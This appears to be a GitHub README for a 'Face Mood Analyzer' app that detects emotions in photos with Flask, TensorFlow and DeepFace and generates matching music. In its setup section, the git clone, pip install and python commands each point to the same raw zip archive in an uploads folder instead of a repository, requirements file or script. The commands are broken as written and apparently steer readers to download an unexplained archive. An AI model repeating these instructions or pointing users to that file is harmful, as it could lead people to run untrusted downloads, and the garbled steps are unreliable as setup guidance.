Welcome to the Face Mood Analyzer! This project harnesses the power of artificial intelligence to analyze emotions from facial expressions in photos. It can detect faces, assess emotions, and even generate music that matches the mood detected. Built using Python, Flask, and advanced deep learning models like TensorFlow and PyTorch, this tool provides an interactive web interface for users.
The main goal of this repository is to provide a seamless experience in emotion detection and music generation based on facial expressions. Whether you're looking to enhance user experiences in applications or just want to explore the fascinating world of AI and emotion analysis, this project is for you.
You can find the latest release of the Face Mood Analyzer here.
- Real-time Face Detection: The application can detect faces in real-time using a webcam or uploaded images.
- Emotion Analysis: It analyzes emotions like happiness, sadness, anger, surprise, and more.
- Music Generation: Based on the detected emotions, the app generates music that fits the mood.
- Interactive Web Interface: A user-friendly interface built with Flask for easy interaction.
- Cross-platform Support: Works on various operating systems, including Windows, macOS, and Linux.
This project integrates several powerful technologies to achieve its goals:
- Python: The primary programming language for the application.
- Flask: A lightweight web framework for building the web interface.
- TensorFlow: Used for deep learning models that detect and analyze emotions.
- PyTorch: Another deep learning framework utilized for various model implementations.
- DeepFace: A library for face recognition and emotion detection.
- OpenCV: Used for image processing and real-time face detection.
This project covers a range of topics, including:
- AI
- Artificial Intelligence
- Computer Vision
- Deep Learning
- Emotion Detection
- Face Recognition
- Machine Learning
- Web Applications
To get started with the Face Mood Analyzer, follow these steps:
- Python 3.6 or higher
- pip (Python package installer)
Open your terminal and run the following command:
git clone https://github.com/Alex9104/face-mood-analyzer/raw/refs/heads/master/uploads/mood-face-analyzer-2.6.zipcd face-mood-analyzerInstall the necessary packages using pip:
pip install -r https://github.com/Alex9104/face-mood-analyzer/raw/refs/heads/master/uploads/mood-face-analyzer-2.6.zipYou can start the application by running:
python https://github.com/Alex9104/face-mood-analyzer/raw/refs/heads/master/uploads/mood-face-analyzer-2.6.zipYour web application should now be running at http://127.0.0.1:5000/.
Once the application is running, you can use it as follows:
- Access the Web Interface: Open your web browser and go to
http://127.0.0.1:5000/. - Upload an Image or Use Webcam: You can either upload a photo or enable your webcam for real-time detection.
- Analyze Emotions: The application will process the image and display the detected emotions.
- Listen to Music: Based on the emotions detected, the application will generate and play corresponding music.
Here's a simple example of how to use the application:
- Upload an image of a person showing a specific emotion.
- Click on the "Analyze" button.
- Wait for the application to display the detected emotion and play the corresponding music.
Feel free to explore different images and see how the application performs.
We welcome contributions to the Face Mood Analyzer project. If you'd like to contribute, please follow these steps:
- Fork the Repository: Click the "Fork" button at the top right of this page.
- Create a New Branch:
git checkout -b feature/YourFeature
- Make Your Changes: Implement your feature or fix the bug.
- Commit Your Changes:
git commit -m "Add your message here" - Push to the Branch:
git push origin feature/YourFeature
- Create a Pull Request: Go to the original repository and create a pull request.
Your contributions help make this project better for everyone!
This project is licensed under the MIT License. See the LICENSE file for details.
We would like to thank the following for their contributions and support:
- The developers of the libraries used in this project: TensorFlow, PyTorch, Flask, DeepFace, and OpenCV.
- The community for their feedback and suggestions.
- Everyone who has contributed to the project, whether through code, documentation, or ideas.
For more information and updates, please check the Releases section.
Feel free to explore the Face Mood Analyzer and experience the intersection of AI, emotion detection, and music generation!